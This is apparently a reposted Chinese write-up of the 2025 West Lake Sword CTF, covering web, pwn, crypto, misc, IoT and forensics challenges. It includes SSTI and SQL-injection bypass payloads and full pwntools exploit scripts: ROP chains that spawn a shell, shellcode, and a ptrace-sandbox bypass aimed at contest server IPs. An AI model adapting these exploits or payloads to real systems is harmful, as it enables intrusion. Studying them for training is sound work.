西湖论剑 2025 Writeup

admin 2025年1月19日21:36:27评论32 views字数 14322阅读47分44秒阅读模式

解题情况

西湖论剑 2025 Writeup

签到

西湖论剑 2025 Writeup

WEB

Rank-l

测试发现login路由存在ssti 触发点在cpass

空格被过滤了 用request来绕过 但触发点在cpass 所以传的参数也要在cpass

西湖论剑 2025 Writeup

西湖论剑 2025 Writeup

sqli or not

两个waf

西湖论剑 2025 Writeup

这里对,有个匹配 限制了我们json传参

可以利用json.parse绕过

info={"username":"admin"&info="password":"1"}

下面第二层waf

西湖论剑 2025 Writeup

需要我们查询出来 就行 这里利用replace独有的匹配模式

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace#%E6%8C%87%E5%AE%9A%E5%87%BD%E6%95%B0%E4%BD%9C%E4%B8%BA%E6%9B%BF%E6%8D%A2%E9%A1%B9 参考这篇文章

西湖论剑 2025 Writeup

注意$` 我们可以把sql语句打印出来看看效果

西湖论剑 2025 Writeup

发现会给我们逃逸出一个单引号 所以我们直接加个or 1=1--+ 返回永真 注释掉后面的就得到flag

西湖论剑 2025 Writeup

pwn

Vpwn

Push功能存在溢出,可以直接篡改 size

void __fastcall push(struct Data *data, int *value_ptr)
{
  int value; // ecx
  __int64 size; // rax

  value = *value_ptr;
  size = data->size;
  data->size = size + 1;
  data->int_arr6[size] = value;                 // 栈溢出
}

先利用溢出篡改size为一个较大的值,然后print进行leak libc,然后pop减小size利用push劫持返回地址写rop链 给出exp

from pwn import *
from ctypes import *
context.terminal = ['tmux''splitw''-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

#io = process("./pwn")
io = remote("139.155.126.78"18291)
elf = ELF("./pwn")
libc = elf.libc

def debug():
    gdb.attach(io)
    pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4b'x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8b'x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4b'x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8b'x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("33[31m["+s+" -> "+str(hex(n))+"]33[0m")
sh     = lambda      : io.interactive()
"""
gef> p &(((struct _IO_FILE_plus*)0)->file._wide_data)
$3 = (struct _IO_wide_data **) 0xa0

gef> p &(((struct _IO_FILE_plus*)0)->vtable)
$4 = (const struct _IO_jump_t **) 0xd8

"""

dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
dll.srand(0x39)
dll.rand()

menu   = b"Enter your choice: "

def push(v):
    sla(menu, b'2')
    sla(b"Enter the value to push: ", byte(v))

def pop():
    sla(menu, b'3')

def show():
    sla(menu, b'4')

nnn = 20
for _ in range(7):
    push(nnn)

show()

rut(b'20 0 0 0 ')
canary_low = int(rut(b' '), 10)
if canary_low < 0:
    canary_low += 0x100000000
canary_high = int(rut(b' '), 10)
if canary_high < 0:
    canary_high += 0x100000000
canary = (canary_high<<32)|canary_low
info("canary", canary)

rut(b'0 0 0 0 1 0 ')
libc_low = int(rut(b' '), 10)
if libc_low < 0:
    libc_low += 0x100000000
libc_high = int(rut(b' '), 10)
if libc_high < 0:
    libc_high += 0x100000000
libc_base = (libc_high<<32)|libc_low
libc_base -= 0x29d90
info("libc_base", libc_base)

for _ in range(20-18):
    pop()
sleep(0.1)
libc.address = libc_base
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
ret = libc_base + 0x0000000000029139 # ret
binsh = next(libc.search(b'/bin/shx00'))
system = libc.sym.system
info("binsh", binsh)
print("go")
push(pop_rdi&0xffffffff)
push((pop_rdi>>32)&0xffffffff)
push(binsh&0xffffffff)
push((binsh>>32)&0xffffffff)
push(ret&0xffffffff)
push((ret>>32)&0xffffffff)
push(system&0xffffffff)
push((system>>32)&0xffffffff)

sla(menu, b'5')
#debug()
sh()

Heavens_door

Shellcode题目,限制输入的shellcode只能有两个syscall,但是shellcode地址是rwx权限,所以可以动态修改shellcode构造syscall,然后题目没有read,但是允许mmap,使用利用open打开文件,然后mmap映射文件内容到0xdead000,最后write输出即可

from pwn import *
from ctypes import *
context.terminal = ['tmux''splitw''-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

#io = remote("139.155.126.78", 31938)
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
    gdb.attach(io)
    pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4b'x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8b'x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4b'x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8b'x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("33[31m["+s+" -> "+str(hex(n))+"]33[0m")
sh     = lambda      : io.interactive()
"""
gef> p &(((struct _IO_FILE_plus*)0)->file._wide_data)
$3 = (struct _IO_wide_data **) 0xa0

gef> p &(((struct _IO_FILE_plus*)0)->vtable)
$4 = (const struct _IO_jump_t **) 0xd8

"""

dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
dll.srand(0x39)
dll.rand()

menu   = b''

sc  = shellcraft.open("flag")
sc += shellcraft.mmap(0xdead0000x10001230)
sc += shellcraft.write(10xdead0000x40)
#print(sc)
xxx = asm('''
    mov byte ptr[0x10057], 5
'''
)
sss = xxx+asm(sc)[:-1]
#print(sss)
#print(hex(len(asm(sc))))
print(disasm(sss))
#debug()
#gdb.attach(io, 'b *0x401709')
sl(sss)
#pause()
sh()

babytrace-v2

edit 函数 和 show 函数由于没有负数检查,都存在数组溢出漏洞。

void __fastcall edit(size_t *arrary) // 0xC36
{
  __int64 v1; // [rsp+10h] [rbp-220h]
  _BYTE buf[520]; // [rsp+20h] [rbp-210h] BYREF
  unsigned __int64 v3; // [rsp+228h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( *(_DWORD *)edit_once == 1 )
  {
    puts("recv:");
    read(0, buf, 0x200uLL);
    puts("which one?");
    v1 = get_long();
    if ( v1 > 2 )
      exit(1);
    puts("set value?");
    arrary[v1] = get_long();
    puts("Set up for success!");
    *(_DWORD *)edit_once = 0;
  }
  else
  {
    puts("permission denied!");
  }
}

show 函数

void __fastcall show(size_t *array) // 0xD3D
{
  __int64 index; // [rsp+18h] [rbp-8h]

  if ( *(int *)show_twice > 1 )
  {
    puts("permission denied!");
  }
  else
  {
    puts("which one?");
    index = get_long();
    if ( index > 2 )
      exit(1);
    printf("num[%lld] = %lldn", index, array[index]);
    ++*(_DWORD *)show_twice;
  }
}

主程序处有简单的ptrace沙箱,允许

  • SYS_read
  • SYS_write
  • SYS_exit_group
  • SYS_fstat
  • SYS_exit

但是其对 SIGTRAP 信号并没有做严格的检查,因此使用 int3 指令即可改变其监控SYSCALL开始的逻辑为监控SYSCALL结束,此时 syscall 就可以正常使用

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int stat_loc; // [rsp+4h] [rbp-ECh] BYREF
  __pid_t pid; // [rsp+8h] [rbp-E8h]
  __pid_t v6; // [rsp+Ch] [rbp-E4h]
  user_regs_struct regs; // [rsp+10h] [rbp-E0h] BYREF
  unsigned __int64 v8; // [rsp+E8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setvbuf(stdin0LL, 20LL);
  setvbuf(stdout0LL, 20LL);
  setvbuf(stderr0LL, 20LL);
  pid = fork();
  if ( !pid )
  {
    if ( prctl(19LL) < 0 )
      error("prctl error");
    if ( ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) )
      error("hack !!!!");
    v6 = getpid();
    kill(v6, 19);
    sub_DD6();
  }
  if ( waitpid(pid, &stat_loc, 0) < 0 )
    error("waitpid error1");
  alarm(0xFu);
  ptrace(PTRACE_SETOPTIONS, (unsigned int)pid, 0LL, 1LL);
  do
  {
    ptrace(PTRACE_SYSCALL, (unsigned int)pid, 0LL, 0LL);
    if ( waitpid(pid, &stat_loc, 0x40000000) < 0 )
      error("waitpid error2");
    if ( (stat_loc & 0x7F) == 0 || (unsigned __int8)stat_loc == 127 && (stat_loc & 0xFF00) >> 8 == 11 )
      break;
    if ( ptrace(PTRACE_GETREGS, (unsigned int)pid, 0LL, &regs) < 0 )
      error("GETREGS error");
    if ( regs.orig_rax != SYS_write
      && regs.orig_rax != SYS_exit_group
      && regs.orig_rax != SYS_fstat
      && regs.orig_rax != SYS_exit )
    {
      if ( regs.orig_rax )
      {
        printf("bad syscall: %llun", regs.orig_rax);
        regs.orig_rax = -1LL;
        if ( ptrace(PTRACE_SETREGS, (unsigned int)pid, 0LL, &regs) < 0 )
          error("SETREGS error");
      }
    }
    ptrace(PTRACE_SYSCALL, (unsigned int)pid, 0LL, 0LL);
    if ( waitpid(pid, &stat_loc, 0x40000000) < 0 )
      error("waitpid error3");
  }
  while ( (stat_loc & 0x7F) != 0 && ((unsigned __int8)stat_loc != 127 || (stat_loc & 0xFF00) >> 8 != 11) );
  return 0LL;
}

脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

def show(index):
    sh.sendlineafter(b'choose one >'b'2')
    sh.sendlineafter(b'which one?n', str(index).encode())

def edit(index, value, content):
    sh.sendlineafter(b'choose one >'b'1')
    sh.sendafter(b'recv:n', content)
    sh.sendlineafter(b'which one?n', str(index).encode())
    sh.sendlineafter(b'set value?n', str(value).encode())

sh = remote('119.45.238.17'9999)

show(-13)
sh.recvuntil(b' = ')
stack_addr = int(sh.recvline()) + 0x20
success('stack_addr: ' + hex(stack_addr))
show(-28)
sh.recvuntil(b' = ')
libc_addr = int(sh.recvline()) - 0x219aa0
success('libc_addr: ' + hex(libc_addr))

target = libc_addr + 0x219098 # libc.strlen.got
offset = (target - stack_addr) // 8
rop_chain = flat(
[
    # It is to keep @tag1 running normally
    libc_addr + 0x0000000000045eb0# : pop rax ; ret
    stack_addr - 0x10000# writable
    libc_addr + 0x000000000002a3e5# : pop rdi ; ret
    stack_addr - 0x10000# writable
    libc_addr + 0x000000000002be51# : pop rsi ; ret
    stack_addr - 0x1f8 - 0xd# Point the address to @tag2 to restore the ROP chain logic

    # int3
    # add    BYTE PTR [rax],al
    # add    BYTE PTR [rdi],cl
    # add    eax,0xfff0003d
    # push   QWORD PTR [rsi+0xd]
    # neg    eax
    # ret
    libc_addr + 0x95d36# @tag1
    libc_addr + 0x000000000002be51# : pop rsi ; ret, @tag2
    
    libc_addr + 0x000000000002a3e5# : pop rdi ; ret
    stack_addr - 0x40# flag
    libc_addr + 0x000000000002be51# : pop rsi ; ret
    0,
    libc_addr + 0x1142f0# open

    libc_addr + 0x000000000002a3e5# : pop rdi ; ret
    3,
    libc_addr + 0x000000000002be51# : pop rsi ; ret
    stack_addr - 0x10000# writable
    libc_addr + 0x00000000000796a2# : pop rdx ; ret
    0x100,
    libc_addr + 0x1145e0# read

    libc_addr + 0x000000000002a3e5# : pop rdi ; ret
    1,
    libc_addr + 0x000000000002be51# : pop rsi ; ret
    stack_addr - 0x10000# writable
    libc_addr + 0x00000000000796a2# : pop rdx ; ret
    0x100,
    libc_addr + 0x114680# write

]
)
edit(offset, libc_addr + 0x0000000000114b5c, rop_chain.ljust(0x1f0b'') + b'flag'# add rsp, 0x68 ; ret

sh.interactive()

misc

糟糕的磁盘

直接打开Img提示损坏,使用winhex查看二进制,发现是raid阵列

西湖论剑 2025 Writeup

导入工具,直接重建raid

西湖论剑 2025 Writeup

西湖论剑 2025 Writeup

取出secret以及key.png,veracrypt挂载secret,key.png作为秘钥

西湖论剑 2025 Writeup

西湖论剑 2025 Writeup

CRYPTO

matrixRSA

coppersmith恢复p

求模p下三阶矩阵的阶,然后私钥d是e模阶的逆元

西湖论剑 2025 Writeup

from Crypto.Util.number import *

p = 9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275
n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
C = [[130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941,  71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757 , 67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615],
23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993 ,  9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601 , 44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401],
67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572 , 13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727 , 95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676]
]
e = 65537

ph = p << 100
R.<x> = PolynomialRing(Zmod(n))
f = ph + x
root = f.monic().small_roots(X=2^100,beta=0.4)

p = ph + root[0]
q = n // p
op = p*(p-1)*(p+1)*(p^2+p+1)

C = Matrix(Zmod(p),C)
d = inverse(e,op)
M = C**d

msg = b""
for m in M.list():
    msg += long_to_bytes(int(m))
    
print(msg)
# DASCTF{48ccbfd88061d7ff3d5325148ec55d11}

IOT

blink

在ida strings找到关键函数

西湖论剑 2025 Writeup

在关键函数附近找到莫斯密码

西湖论剑 2025 Writeup

解码后得到数据:rtosandmorseisveryeasyhahhaha

后又在摩斯密码附近直接找到该字符串,验证成功

西湖论剑 2025 Writeup

sharkp

追踪找http流,在其中找到一个elf文件,导出,dump下来

西湖论剑 2025 Writeup

丢安恒云沙箱跑出可疑的IP地址

IP地址:115.195.88.161

西湖论剑 2025 Writeup

然后发现追踪tcp流,看到setSystemAdmin接口似乎有执行命令

Flag:setSystemAdmin_115.195.88.161

DS

easydatalog

error.log存在

西湖论剑 2025 Writeup

保存为zip 但需要密码

发现存在jpg的图像

西湖论剑 2025 Writeup


西湖论剑 2025 Writeup

将数据提出来后 保存为jpg 用盲水印得到密码

西湖论剑 2025 Writeup

解密zip 找到张三的信息提交

西湖论剑 2025 Writeup

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

PS:团队纳新简历投递邮箱:

[email protected]

责任编辑:@Elite


西湖论剑 2025 Writeup
西湖论剑 2025 Writeup


原文始发于微信公众号(星盟安全):西湖论剑 2025 Writeup

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月19日21:36:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   西湖论剑 2025 Writeuphttps://cn-sec.com/archives/3647997.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息